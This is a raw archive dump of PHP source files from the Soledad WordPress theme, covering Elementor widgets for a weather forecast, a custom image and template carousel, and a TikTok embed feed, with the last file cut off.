			'w_forecast_bg_color',
			array(
				'label'     => __( 'Custom background for forecast weather in next days', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'default'   => '',
				'selectors' => array(
                        'body:not(.pcdm-enable) {{WRAPPER}} .penci-weather-week:before' => 'background-color: {{VALUE}}; opacity: 1;',
                ),
			)
		);
		$this->add_group_control(
			Group_Control_Typography::get_type(), array(
				'name'     => 'w_forecast_typo',
				'label'    => __( 'Typography for Weather Forecast', 'soledad' ),
				'selector' => '{{WRAPPER}} .penci-weather-days .penci-day-degrees',
			)
		);


		$this->end_controls_section();
		
		$this->register_block_title_style_section_controls();

	}

	protected function render() {
		$settings = $this->get_settings();

		$css_class = 'penci-block-vc penci_block_weather penci-weather';
		?>
		<div class="<?php echo esc_attr( $css_class ); ?>">
			<?php $this->markup_block_title( $settings, $this ); ?>
			<div class="penci-block_content">
				<?php
				$weather_data = \Penci_Weather::show_forecats( array(
					'location'      => $settings['penci_location'],
					'location_show' => $settings['penci_location_show'],
					'forecast_days' => $settings['penci_forcast'],
					'units'         => $settings['penci_units'],
					'user_loc'		=> $settings['penci_user_loc'],
					'cookie'		=> $settings['penci_save_user_loc'],
				) );

				if( $weather_data ) {
					echo $weather_data;
				}else {
					echo '<div class="penci-block-error">';
					echo '<span>Weather widget</span>';
					echo ' You need to fill API key to Customize > General > Extra Options > Weather API Key to get this widget work.';
					echo '</div>';
				}
				?>
			</div>
		</div>
		<?php
	}
}
PK     N\p  p  6  inc/elementor/modules/penci-custom-carousel/module.phpnu [        <?php
namespace PenciSoledadElementor\Modules\PenciCustomCarousel;

use PenciSoledadElementor\Base\Module_Base;

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly
}


class Module extends Module_Base {

	public function get_name() {
		return 'penci-custom-carousel';
	}

	public function get_widgets() {
		return array( 'PenciCustomCarousel' );
	}
}
PK     N\jTf  Tf  M  inc/elementor/modules/penci-custom-carousel/widgets/penci-custom-carousel.phpnu [        <?php

namespace PenciSoledadElementor\Modules\PenciCustomCarousel\Widgets;

use PenciSoledadElementor\Base\Base_Widget;
use Elementor\Controls_Manager;
use Elementor\Group_Control_Image_Size;
use Elementor\Group_Control_Typography;
use Elementor\Repeater;
use Elementor\Plugin;
use Elementor\Utils;

if ( ! defined( 'ABSPATH' ) ) {
	exit;
} // Exit if accessed directly

class PenciCustomCarousel extends Base_Widget {


	private $slide_prints_count = 0;

	public function get_name() {
		return 'penci-custom-carousel';
	}

	public function get_title() {
		return esc_html__( 'Custom Carousel', 'soledad' );
	}

	public function get_icon() {
		return 'eicon-carousel';
	}

	public function get_categories() {
		return [ 'penci-elements' ];
	}

	public function get_keywords() {
		return [ 'custom', 'carousel', 'navigation' ];
	}

	protected function register_controls() {


		$this->start_controls_section(
			'section_slides',
			[
				'label' => esc_html__( 'Slides', 'soledad' ),
				'tab'   => Controls_Manager::TAB_CONTENT,
			]
		);

		$this->add_responsive_control(
			'slides_per_view',
			[
				'label'          => esc_html__( 'Slides Per View', 'soledad' ),
				'type'           => Controls_Manager::SELECT,
				'options'        => [
					'auto' => 'Auto',
					'1' => '1 Column',
					'2' => '2 Columns',
					'3' => '3 Columns',
					'4' => '4 Columns',
					'5' => '5 Columns',
					'6' => '6 Columns',
				],
				'default'        => '3',
				'tablet_default' => '2',
				'mobile_default' => '1',
			]
		);

		$this->add_control(
			'content_type',
			[
				'label'   => esc_html__( 'Content Type', 'soledad' ),
				'type'    => Controls_Manager::SELECT,
				'options' => [
					''                   => esc_html__( 'Default', 'soledad' ),
					'penci-ccarousel-custom-content' => esc_html__( 'Custom Content', 'soledad' ),
				],
			]
		);

		$repeater = new Repeater();

		$repeater->add_control(
			'type',
			[
				'type'        => Controls_Manager::CHOOSE,
				'label'       => esc_html__( 'Type', 'soledad' ),
				'default'     => 'image',
				'options'     => [
					'image' => [
						'title' => esc_html__( 'Image', 'soledad' ),
						'icon'  => 'eicon-image',
					],
					'video' => [
						'title' => esc_html__( 'Video', 'soledad' ),
						'icon'  => 'eicon-video-camera',
					],
				],
				'label_block' => false,
				'toggle'      => false,
			]
		);

		$repeater->add_control(
			'image',
			[
				'label'   => esc_html__( 'Image', 'soledad' ),
				'type'    => Controls_Manager::MEDIA,
				'dynamic' => [ 'active' => true ],
			]
		);

		$repeater->add_control(
			'image_link_to_type',
			[
				'label'     => esc_html__( 'Link to', 'soledad' ),
				'type'      => Controls_Manager::SELECT,
				'options'   => [
					''       => esc_html__( 'None', 'soledad' ),
					'file'   => esc_html__( 'Media File', 'soledad' ),
					'custom' => esc_html__( 'Custom URL', 'soledad' ),
				],
				'condition' => [
					'type' => 'image',
				],
			]
		);

		$repeater->add_control(
			'image_link_to',
			[
				'type'        => Controls_Manager::URL,
				'placeholder' => 'http://your-link.com',
				'dynamic'     => [ 'active' => true ],
				'condition'   => [
					'type'               => 'image',
					'image_link_to_type' => 'custom',
				],
				'separator'   => 'none',
				'show_label'  => false,
			]
		);

		$repeater->add_control(
			'video',
			[
				'label'         => esc_html__( 'Video Link', 'soledad' ),
				'type'          => Controls_Manager::URL,
				'dynamic'       => [ 'active' => true ],
				'placeholder'   => esc_html__( 'Enter your video link', 'soledad' ),
				'description'   => esc_html__( 'Insert YouTube or Vimeo link', 'soledad' ),
				'show_external' => false,
				'condition'     => [
					'type' => 'video',
				],
			]
		);

		$this->add_control(
			'slides',
			[
				'label'     => esc_html__( 'Slides', 'soledad' ),
				'type'      => Controls_Manager::REPEATER,
				'fields'    => $repeater->get_controls(),
				'default'   => $this->get_repeater_defaults(),
				'condition' => [
					'content_type' => ''
				],
			]
		);


		$repeater_2 = new Repeater();

		$repeater_2->add_control(
			'source',
			[
				'type'        => Controls_Manager::CHOOSE,
				'label'       => esc_html__( 'Source', 'soledad' ),
				'default'     => 'editor',
				'options'     => [
					'editor'   => [
						'title' => esc_html__( 'Editor', 'soledad' ),
						'icon'  => 'eicon-edit',
					],
					'template' => [
						'title' => esc_html__( 'Template', 'soledad' ),
						'icon'  => 'eicon-section',
					],
				],
				'label_block' => false,
				'toggle'      => false,
			]
		);


		$repeater_2->add_control(
			'template_source',
			[
				'label'     => esc_html__( 'Select Source', 'soledad' ),
				'type'      => Controls_Manager::SELECT,
				'default'   => 'elementor',
				'options'   => [
					"elementor" => esc_html__( 'Elementor Template', 'soledad' ),
					'anywhere'  => esc_html__( 'Penci Block Template', 'soledad' ),
				],
				'condition' => [
					'source' => 'template',
				],
			]
		);
		$repeater_2->add_control(
			'elementor_template',
			[
				'label'       => __( 'Select Template', 'soledad' ),
				'label_block' => true,
				'placeholder' => __( 'Type and select template', 'soledad' ),
				'type'        => 'penci_el_autocomplete',
				'search'      => 'penci_get_posts_by_query',
				'render'      => 'penci_get_posts_title_by_id',
				'post_type'   => 'elementor_library',
				'condition'   => [
					'source'          => 'template',
					'template_source' => "elementor"
				],
			]
		);
		$repeater_2->add_control(
			'anywhere_template',
			[
				'label'       => __( 'Select Template', 'soledad' ),
				'label_block' => true,
				'placeholder' => __( 'Type and select template', 'soledad' ),
				'type'        => 'penci_el_autocomplete',
				'search'      => 'penci_get_posts_by_query',
				'render'      => 'penci_get_posts_title_by_id',
				'post_type'   => 'penci-block',
				'condition'   => [
					'source'          => 'template',
					'template_source' => "anywhere"
				],
			]
		);

		$repeater_2->add_control(
			'editor_content',
			[
				'type'       => Controls_Manager::TEXTAREA,
				'dynamic'    => [ 'active' => true ],
				'default'    => __( 'Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Aenean commodo ligula eget dolor. Aenean massa. Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus.', 'soledad' ),
				'show_label' => false,
				'condition'  => [
					'source' => 'editor',
				],
			]
		);

		$repeater_2->add_responsive_control(
			'custom_slide_width',
			[
				'label'     => __( 'Custom Slide Width', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'default'   => array( 'size' => '' ),
				'size_units'   => array( '%','px' ),
				'range'     => array( 'px' => array( 'min' => 0, 'max' => 1000, ) ),
				'selectors' => array(
					'{{WRAPPER}} {{CURRENT_ITEM}}'  => 'width: {{SIZE}}{{UNIT}};'
				),
			]
		);

		$this->add_control(
			'skin_template_slides',
			[
				'label'     => esc_html__( 'Slides', 'soledad' ),
				'type'      => Controls_Manager::REPEATER,
				'fields'    => $repeater_2->get_controls(),
				'default'   => $this->get_repeater_defaults(),
				'condition' => [
					'content_type' => 'penci-ccarousel-custom-content'
				],
			]
		);

		$this->add_group_control(
			Group_Control_Image_Size::get_type(),
			[
				'name'      => 'image_size',
				'default'   => 'medium',
				'separator' => 'before',
				'condition' => [
					'content_type!' => 'penci-ccarousel-custom-content',
				],
			]
		);

		$this->end_controls_section();

		$this->start_controls_section(
			'section_additional_options',
			[
				'label' => esc_html__( 'Carousel Settings', 'soledad' ),
			]
		);

		$this->add_control( 'carousel_slider_effect', array(
			'label'       => __( 'Carousel Slider Effect', 'soledad' ),
			'description' => __( 'The "Swing" effect does not support the loop option.', 'soledad' ),
			'type'        => Controls_Manager::SELECT,
			'default'     => get_theme_mod( 'penci_carousel_slider_effect', 'swing' ),
			'options'     => array(
				'default' => 'Default',
				'swing'   => 'Swing',
			),
		) );

		$this->add_control( 'autoplay', array(
			'label'   => __( 'Autoplay', 'soledad' ),
			'type'    => Controls_Manager::SWITCHER,
			'default' => 'yes',
		) );

		$this->add_control( 'loop', array(
			'label'     => __( 'Carousel Loop', 'soledad' ),
			'type'      => Controls_Manager::SWITCHER,
			'default'   => 'yes',
			'condition' => array( 'carousel_slider_effect' => 'default' ),
		) );
		$this->add_control( 'auto_time', array(
			'label'   => __( 'Carousel Auto Time ( 1000 = 1s )', 'soledad' ),
			'type'    => Controls_Manager::NUMBER,
			'default' => 4000,
		) );
		$this->add_control( 'speed', array(
			'label'   => __( 'Carousel Speed ( 1000 = 1s )', 'soledad' ),
			'type'    => Controls_Manager::NUMBER,
			'default' => 600,
		) );
		$this->add_control( 'shownav', array(
			'label'   => __( 'Show next/prev buttons', 'soledad' ),
			'type'    => Controls_Manager::SWITCHER,
			'default' => 'yes',
		) );
		$this->add_control( 'showdots', array(
			'label' => __( 'Show dots navigation', 'soledad' ),
			'type'  => Controls_Manager::SWITCHER,
		) );

		$this->end_controls_section();

		$this->start_controls_section(
			'section_slides_style',
			[
				'label' => esc_html__( 'Slides', 'soledad' ),
				'tab'   => Controls_Manager::TAB_STYLE,
			]
		);

		$this->add_control(
			'space_between',
			[
				'label'   => esc_html__( 'Space Between', 'soledad' ),
				'type'    => Controls_Manager::SLIDER,
				'range'   => [
					'px' => [
						'max' => 50,
					],
				],
				'default' => [
					'size' => 10,
				],
				'condition' => ['carousel_slider_effect'=>'default']
			]
		);

		$this->add_control(
			'slide_background_color',
			[
				'label'     => esc_html__( 'Background Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
					'{{WRAPPER}} .swiper-carousel .swiper-slide' => 'background-color: {{VALUE}}',
				],
			]
		);

		$this->add_control(
			'slide_border_size',
			[
				'label'     => esc_html__( 'Border Size', 'soledad' ),
				'type'      => Controls_Manager::DIMENSIONS,
				'selectors' => [
					'{{WRAPPER}} .swiper-carousel .swiper-slide' => 'border-width: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}}',
				],
			]
		);

		$this->add_control(
			'slide_border_color',
			[
				'label'     => esc_html__( 'Border Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
					'{{WRAPPER}} .swiper-carousel .swiper-slide' => 'border-color: {{VALUE}}',
				],
			]
		);

		$this->add_responsive_control(
			'slide_padding',
			[
				'label'     => esc_html__( 'Padding', 'soledad' ),
				'type'      => Controls_Manager::DIMENSIONS,
				'selectors' => [
					'{{WRAPPER}} .swiper-carousel .swiper-slide' => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}}',
				],
				'separator' => 'before',
			]
		);

		$this->add_responsive_control(
			'slide_border_radius',
			[
				'label'      => esc_html__( 'Border Radius', 'soledad' ),
				'type'       => Controls_Manager::SLIDER,
				'size_units' => [ 'px', '%' ],
				'range'      => [
					'%' => [
						'max' => 50,
					],
				],
				'selectors'  => [
					'{{WRAPPER}} .swiper-carousel .swiper-slide, {{WRAPPER}} .penci-ccarousel-ep-custom-carousel .swiper-carousel' => 'border-radius: {{SIZE}}{{UNIT}};overflow:hidden;',
				],
			]
		);

		$this->add_control(
			'shadow_mode',
			[
				'label'        => esc_html__( 'Shadow Mode', 'soledad' ),
				'type'         => Controls_Manager::SWITCHER,
				'prefix_class' => 'penci-ccarousel-ep-shadow-mode-',
			]
		);

		$this->add_control(
			'shadow_color',
			[
				'label'     => esc_html__( 'Shadow Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'condition' => [
					'shadow_mode' => 'yes',
				],
				'selectors' => [
					'{{WRAPPER}} .elementor-widget-container:before' => is_rtl() ? 'background: linear-gradient(to left, {{VALUE}} 5%,rgba(255,255,255,0) 100%);' : 'background: linear-gradient(to right, {{VALUE}} 5%,rgba(255,255,255,0) 100%);',
					'{{WRAPPER}} .elementor-widget-container:after'  => is_rtl() ? 'background: linear-gradient(to left, rgba(255,255,255,0) 0%, {{VALUE}} 95%);' : 'background: linear-gradient(to right, rgba(255,255,255,0) 0%, {{VALUE}} 95%);',
				],
			]
		);

		$this->end_controls_section();

		$this->start_controls_section( 'section_design_sliderdosnav', array(
			'label' => __( 'Slider Controls', 'soledad' ),
			'tab'   => Controls_Manager::TAB_STYLE
		) );

		$this->add_control( 'heading_pagi_style', array(
			'label'     => __( 'Dots Pagination', 'soledad' ),
			'type'      => Controls_Manager::HEADING,
			'separator' => 'before',
		) );

		$this->add_control( 'dots_bg_color', array(
			'label'     => __( 'Dot Background Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'selectors' => array( '{{WRAPPER}} .penci-custom-slides .penci-owl-carousel .penci-owl-dot span,{{WRAPPER}} .penci-owl-carousel .penci-owl-dot span,{{WRAPPER}} .swiper-container .progress' => 'background-color: {{VALUE}};' ),
		) );

		$this->add_control( 'dots_bd_color', array(
			'label'     => __( 'Dot Borders Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'selectors' => array( '{{WRAPPER}} .penci-owl-carousel .penci-owl-dot span' => 'border-color: {{VALUE}};' ),
		) );

		$this->add_control( 'dots_bga_color', array(
			'label'     => __( 'Dot Borders Active Background Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'selectors' => array( '{{WRAPPER}} .penci-owl-carousel .penci-owl-dot.active span,{{WRAPPER}} .penci-owl-carousel .penci-owl-dot.active span' => 'background-color: {{VALUE}};' ),
		) );

		$this->add_control( 'dots_bda_color', array(
			'label'     => __( 'Dot Borders Active Background Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'selectors' => array( '{{WRAPPER}} .penci-owl-carousel .penci-owl-dot.active span' => 'border-color: {{VALUE}};' ),
		) );

		$this->add_control( 'dots_cs_w', array(
			'label'     => __( 'Dot Width', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 5, 'max' => 200, ) ),
			'selectors' => array( '{{WRAPPER}} .penci-owl-carousel .penci-owl-dot span' => 'width: {{SIZE}}px;height: {{SIZE}}px;' ),
		) );

		$this->add_control( 'dots_csbd_w', array(
			'label'     => __( 'Dot Borders Width', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 1, 'max' => 100, ) ),
			'selectors' => array( '{{WRAPPER}} .penci-owl-carousel .penci-owl-dot span' => 'border-width: {{SIZE}}px;' ),
		) );

		$this->add_control( 'heading_prenex_style', array(
			'label'     => __( 'Previous/Next Buttons', 'soledad' ),
			'type'      => Controls_Manager::HEADING,
			'separator' => 'before',
		) );

		$this->add_control( 'dots_nxpv_color', array(
			'label'     => __( 'Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'selectors' => array( '{{WRAPPER}} .penci-owl-carousel .penci-owl-nav .owl-prev, {{WRAPPER}} .penci-owl-carousel .penci-owl-nav .owl-next, {{WRAPPER}} .slider-40-wrapper .nav-slider-button' => 'color: {{VALUE}};' ),
		) );

		$this->add_control( 'dots_nxpv_hcolor', array(
			'label'     => __( 'Hover Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'selectors' => array( '{{WRAPPER}} .penci-owl-carousel .penci-owl-nav .owl-prev:hover, {{WRAPPER}} .penci-owl-carousel .penci-owl-nav .owl-next:hover, {{WRAPPER}} .slider-40-wrapper .nav-slider-button:hover' => 'color: {{VALUE}};' ),
		) );

		$this->add_control( 'dots_nxpv_bgcolor', array(
			'label'     => __( 'Background Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'selectors' => array( '{{WRAPPER}} .penci-owl-carousel .penci-owl-nav .owl-prev, {{WRAPPER}} .penci-owl-carousel .penci-owl-nav .owl-next, {{WRAPPER}} .slider-40-wrapper .nav-slider-button' => 'background-color: {{VALUE}};' ),
		) );

		$this->add_control( 'dots_nxpv_hbgcolor', array(
			'label'     => __( 'Hover Background Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'selectors' => array( '{{WRAPPER}} .penci-owl-carousel .penci-owl-nav .owl-prev:hover, {{WRAPPER}} .penci-owl-carousel .penci-owl-nav .owl-next:hover, {{WRAPPER}} .slider-40-wrapper .nav-slider-button:hover' => 'background-color: {{VALUE}};' ),
		) );

		$this->add_control( 'dots_nxpv_sizes', array(
			'label'     => __( 'Button Padding', 'soledad' ),
			'type'      => Controls_Manager::DIMENSIONS,
			'range'     => array( 'px' => array( 'min' => 1, 'max' => 100, ) ),
			'selectors' => array( '{{WRAPPER}} .penci-owl-carousel .penci-owl-nav .owl-prev, {{WRAPPER}} .penci-owl-carousel .penci-owl-nav .owl-next, {{WRAPPER}} .slider-40-wrapper .nav-slider-button' => 'padding:{{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}}; width: auto;height: auto;line-height: normal;margin-top:0;transform:translateY(-50%);' ),
		) );

		$this->add_control( 'dots_nxpv_isizes', array(
			'label'     => __( 'Icon Size', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 1, 'max' => 100, ) ),
			'selectors' => array( '{{WRAPPER}} .penci-owl-carousel .penci-owl-nav .owl-prev i, {{WRAPPER}} .penci-owl-carousel .penci-owl-nav .owl-next i, {{WRAPPER}} .slider-40-wrapper .nav-slider-button i' => 'font-size: {{SIZE}}px;' ),
		) );

		$this->add_control( 'dots_nxpv_bdradius', array(
			'label'     => __( 'Button Border Radius', 'soledad' ),
			'type'      => Controls_Manager::DIMENSIONS,
			'range'     => array( 'px' => array( 'min' => 1, 'max' => 100, ) ),
			'selectors' => array( '{{WRAPPER}} .penci-owl-carousel .penci-owl-nav .owl-prev, {{WRAPPER}} .penci-owl-carousel .penci-owl-nav .owl-next, {{WRAPPER}} .slider-40-wrapper .nav-slider-button' => 'border-radius: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};' ),
		) );

		$this->end_controls_section();
	}

	protected function get_default_slides_count() {
		return 5;
	}

	protected function get_repeater_defaults() {
		$placeholder_image_src = Utils::get_placeholder_image_src();

		return array_fill( 0, $this->get_default_slides_count(), [
			'image' => [
				'url' => $placeholder_image_src,
			],
		] );
	}

	protected function get_image_caption( $slide ) {
		$caption_type = $this->get_settings_for_display( 'caption' );

		if ( empty( $caption_type ) ) {
			return '';
		}

		$attachment_post = get_post( $slide['image']['id'] );

		if ( 'caption' === $caption_type ) {
			return $attachment_post->post_excerpt;
		}

		if ( 'title' === $caption_type ) {
			return $attachment_post->post_title;
		}
	}

	protected function get_image_link_to( $slide ) {
		if ( isset( $slide['video']['url'] ) ) {
			return $slide['image']['url'];
		}

		if ( ! isset( $slide['image_link_to_type'] ) ) {
			return '';
		}
		if ( 'custom' === $slide['image_link_to_type'] ) {
			return $slide['image_link_to']['url'];
		}

		return $slide['image']['url'];
	}

	protected function print_slide( array $slide, array $settings, $element_key ) {

		if ( 'penci-ccarousel-custom-content' === $settings['content_type'] ) {
			$this->render_slide_template( $slide, $element_key, $settings );
		} else {
			if ( ! empty( $settings['thumbs_slider'] ) ) {

				$settings['video_play_icon'] = false;
			}

			$this->add_render_attribute( $element_key . '-image', [
				'class' => 'penci-image-holder penci-lazy',
				'data-bgset' => $this->get_slide_image_url( $slide, $settings ),
			] );

			$image_link_to = $this->get_image_link_to( $slide );


			if ( $image_link_to ) {

				if ( ( 'video' !== $slide['type'] ) && ( '' !== isset( $slide['video']['url'] ) ) && 'custom' !== $slide['image_link_to_type'] ) {
					$this->add_link_attributes( $element_key . '_link', $slide['image'] );
				}

				if ( 'custom' === $slide['image_link_to_type'] ) {

					$this->add_link_attributes( $element_key . '_link', $slide['image_link_to'] );
				} else {
					$this->add_render_attribute( $element_key . '_link', [
						'data-elementor-open-lightbox' => 'no',
						'data-caption'                 => $this->get_image_caption( $slide ),
					] );
				}

				if ( 'video' === $slide['type'] && $slide['video']['url'] ) {
					$this->add_link_attributes( $element_key . '_link', $slide['video'] );
				}

				echo '<a ' . $this->get_render_attribute_string( $element_key . '_link' ) . '>';
			}

			echo '<span ' . $this->get_render_attribute_string( $element_key . '-image' ) . '></span>';

			if ( $image_link_to ) {
				echo '</a>';
			}
		}
	}

	protected function template_edit_link( $template_id ) {
		if ( Plugin::$instance->editor->is_edit_mode() ) {

			$final_url = add_query_arg( [ 'elementor' => '' ], get_permalink( $template_id ) );
	
			$output = sprintf( '<a class="penci-elementor-template-edit-link" href="%1$s" title="%2$s" target="_blank"><i class="eicon-edit"></i></a>', esc_url( $final_url ), esc_html__( 'Edit Template', 'soledad' ) );
	
			return $output;
		}
	
		return false;
	}

	protected function render_slide_template( array $slide, $element_key, array $settings ) {

		?>
        <div <?php $this->print_render_attribute_string( $element_key . '-template' ); ?>>
			<?php

			if ( 'template' == $slide['source'] ) {
				if ( 'elementor' == $slide['template_source'] and ! empty( $slide['elementor_template'] ) ) {
					echo \Elementor\Plugin::$instance->frontend->get_builder_content_for_display( $slide['elementor_template'] );
					echo $this->template_edit_link( $slide['elementor_template'] );
				} elseif ( 'anywhere' == $slide['template_source'] and ! empty( $slide['anywhere_template'] ) ) {
					echo \Elementor\Plugin::$instance->frontend->get_builder_content_for_display( $slide['anywhere_template'] );
					echo $this->template_edit_link( $slide['anywhere_template'] );
				}
			} else {
				echo wp_kses_post( $slide['editor_content'] );
			}

			?>
        </div>
		<?php
	}

	protected function render_header() {
		$id         = 'penci-ccarousel-ep-custom-carousel-' . $this->get_id();
		$settings   = $this->get_settings_for_display();
		$skin_class = ( 'penci-ccarousel-custom-content' == $settings['content_type'] ) ? 'custom-content' : 'default';

		$this->add_render_attribute( 'custom-carousel', 'id', $id );
		$this->add_render_attribute( 'custom-carousel', 'class', [
			'penci-ccarousel-ep-custom-carousel',
			'elementor-swiper',
			'penci-ccarousel-skin-' . $skin_class
		] );
		$this->add_render_attribute( 'custom-carousel', 'data-penci-ccarousel-lightbox', 'toggle: .penci-ccarousel-ep-custom-carousel-lightbox-item; animation: slide;' );

		$data_slider = '';
		$data_slider .= $settings['showdots'] ? ' data-dots="true"' : '';
		$data_slider .= $settings['shownav'] ? ' data-nav="true"' : '';
		$data_slider .= ! $settings['loop'] ? ' data-loop="true"' : '';
		$data_slider .= ' data-auto="' . ( 'yes' == $settings['autoplay'] ? 'true' : 'false' ) . '"';
		$data_slider .= $settings['auto_time'] ? ' data-autotime="' . $settings['auto_time'] . '"' : ' data-autotime="4000"';
		$data_slider .= $settings['speed'] ? ' data-speed="' . $settings['speed'] . '"' : ' data-speed="600"';

		$data_slider .= ' data-item="' . ( isset( $settings['slides_per_view'] ) && $settings['slides_per_view'] ? $settings['slides_per_view'] : '3' ) . '"';
		$data_slider .= ' data-desktop="' . ( isset( $settings['slides_per_view'] ) && $settings['slides_per_view'] ? $settings['slides_per_view'] : '3' ) . '" ';
		$data_slider .= ' data-tablet="' . ( isset( $settings['slides_per_view_tablet'] ) && $settings['slides_per_view_tablet'] ? $settings['slides_per_view_tablet'] : '2' ) . '"';
		$data_slider .= ' data-tabsmall="' . ( isset( $settings['slides_per_view_tablet'] ) && $settings['slides_per_view_tablet'] ? $settings['slides_per_view_tablet'] : '2' ) . '"';
		$data_slider .= ' data-mobile="' . ( isset( $settings['slides_per_view_mobile'] ) && $settings['slides_per_view_mobile'] ? $settings['slides_per_view_mobile'] : '1' ) . '"';
		$data_slider .= ' data-margin="' . ( isset( $settings['space_between']['size'] ) && $settings['space_between']['size'] ? $settings['space_between']['size'] : '30' ) . '"';
		$data_slider .= ' data-ceffect="' . $settings['carousel_slider_effect'] . '"';

		$this->add_render_attribute( 'swiper', 'class', 'swiper-carousel swiper penci-owl-carousel penci-owl-carousel-slider');

		?>
        <div <?php $this->print_render_attribute_string( 'swiper' ); ?> <?php echo $data_slider;?>>
        <div class="swiper-wrapper">
		<?php
	}

	protected function render_loop_slides( array $settings = null ) {

		if ( null === $settings ) {
			$settings = $this->get_settings_for_display();
		}

		$default_settings = [ 'video_play_icon' => true ];
		$settings         = array_merge( $default_settings, $settings );

		$slides = array();

		if ( 'penci-ccarousel-custom-content' == $settings['content_type'] ) {
			$slides = $settings['skin_template_slides'];
		} else {
			$slides = $settings['slides'];
		}

		foreach ( $slides as $index => $slide ) :
			$this->slide_prints_count ++;


			$this->add_render_attribute( 'slide', 'class', 'swiper-slide penci-custom-slide-'.$index .' elementor-repeater-item-' . esc_attr( $slide['_id'] ), true );

			?>
            <div <?php $this->print_render_attribute_string( 'slide' ); ?>>
				<?php $this->print_slide( $slide, $settings, 'slide-' . $index . '-' . $this->slide_prints_count ); ?>
            </div>
		<?php
		endforeach;
	}

	protected function get_slide_image_url( $slide, array $settings ) {
		$image_url = Group_Control_Image_Size::get_attachment_image_src( $slide['image']['id'], 'image_size', $settings );

		if ( ! $image_url ) {
			$image_url = $slide['image']['url'];
		}

		return $image_url;
	}

	protected function render_slider( array $settings = null ) {
		$this->render_loop_slides( $settings );
	}

	public function render() {
		$this->render_header();
		$this->render_slider();
		echo '</div></div>';
	}
}PK     N\-  -  8  inc/elementor/modules/penci-tiktok-embed-feed/module.phpnu [        <?php

namespace PenciSoledadElementor\Modules\PenciTiktokEmbedFeed;

use PenciSoledadElementor\Base\Module_Base;

class Module extends Module_Base {

	public function get_name() {
		return 'penci-tiktok-embed-feed';
	}

	public function get_widgets() {
		return array( 'PenciTiktokEmbedFeed' );
	}
}
PK     N\Q9A  A  Q  inc/elementor/modules/penci-tiktok-embed-feed/widgets/penci-tiktok-embed-feed.phpnu [        <?php

namespace PenciSoledadElementor\Modules\PenciTiktokEmbedFeed\Widgets;

use Elementor\Controls_Manager;
use Elementor\Group_Control_Typography;
use PenciSoledadElementor\Base\Base_Widget;

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

class PenciTiktokEmbedFeed extends Base_Widget {

	public function get_name() {
		return 'penci-tiktok-embed-feed';
	}

	public function get_title() {
		return penci_get_theme_name( 'Penci' ) . ' ' . esc_html__( ' TikTok Feed', 'soledad' );
	}

	public function get_icon() {
		return 'eicon-gallery-grid';
	}

	public function get_categories() {
		return [ 'penci-elements' ];
	}

	public function get_keywords() {
		return array( 'tiktok', 'social' );
	}

	public function get_script_depends() {
		return array( 'penci_tiktok_embed' );
	}

	protected function register_controls() {


		// Section layout
		$this->start_controls_section( 'section_page', array(
			'label' => esc_html__( 'TikTok Data', 'soledad' ),
			'tab'   => Controls_Manager::TAB_CONTENT,
		) );
		$this->add_control( 'username', array(
			'label'   => __( 'Username ( Without @ )', 'soledad' ),
			'type'    => Controls_Manager::TEXT,
			'default' => '',
		) );

		$this->add_responsive_control( 'width', array(
			'label'      => __( 'Width', 'soledad' ),
			'type'       => Controls_Manager::SLIDER,
			'size_units' => [ 'px' ],
			'range'      => array(
				'px' => array( 'max' => 2000 ),
			),
			'selectors'  => [
				'{{WRAPPER}} .tiktok-embed' => 'width:100%; max-width:{{SIZE}}px'
			]
		) );

		$this->add_control( 'content_horizontal_position', array(
			'label'                => __( 'Content Text Horizontal Position', 'soledad' ),
			'type'                 => Controls_Manager::CHOOSE,
			'label_block'          => false,
			'options'              => array(
				'left'   => array(
					'title' => __( 'Left', 'soledad' ),
					'icon'  => 'eicon-h-align-left',
				),
				'center' => array(
					'title' => __( 'Center', 'soledad' ),
					'icon'  => 'eicon-h-align-center',
				),
				'right'  => array(
					'title' => __( 'Right', 'soledad' ),
					'icon'  => 'eicon-h-align-right',
				),
			),
			'selectors'            => array(
				'{{WRAPPER}} .tiktok-embed' => '{{VALUE}}',
			),
			'selectors_dictionary' => array(
				'left'   => 'margin-right: auto',
				'center' => 'margin-left: auto; margin-right: auto;',
				'right'  => 'margin-left: auto',
			),
		) );

		$this->end_controls_section();
		$this->register_block_title_section_controls();
		$this->start_controls_section( 'section_latest_tiktok_style', array(
			'label' => __( 'TikTok', 'soledad' ),
			'tab'   => Controls_Manager::TAB_STYLE,
		) );
		$this->add_group_control( Group_Control_Typography::get_type(), array(
			'name'     => 'tiktok_text_typo',
			'label'    => __( 'Username Typography', 'soledad' ),
			'selector' => '{{WRAPPER}} section a',
		) );
		$this->add_control( 'tiktok_u_color', array(
			'label'     => __( 'Username Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} section a' => 'color: {{VALUE}};',
			)
		) );
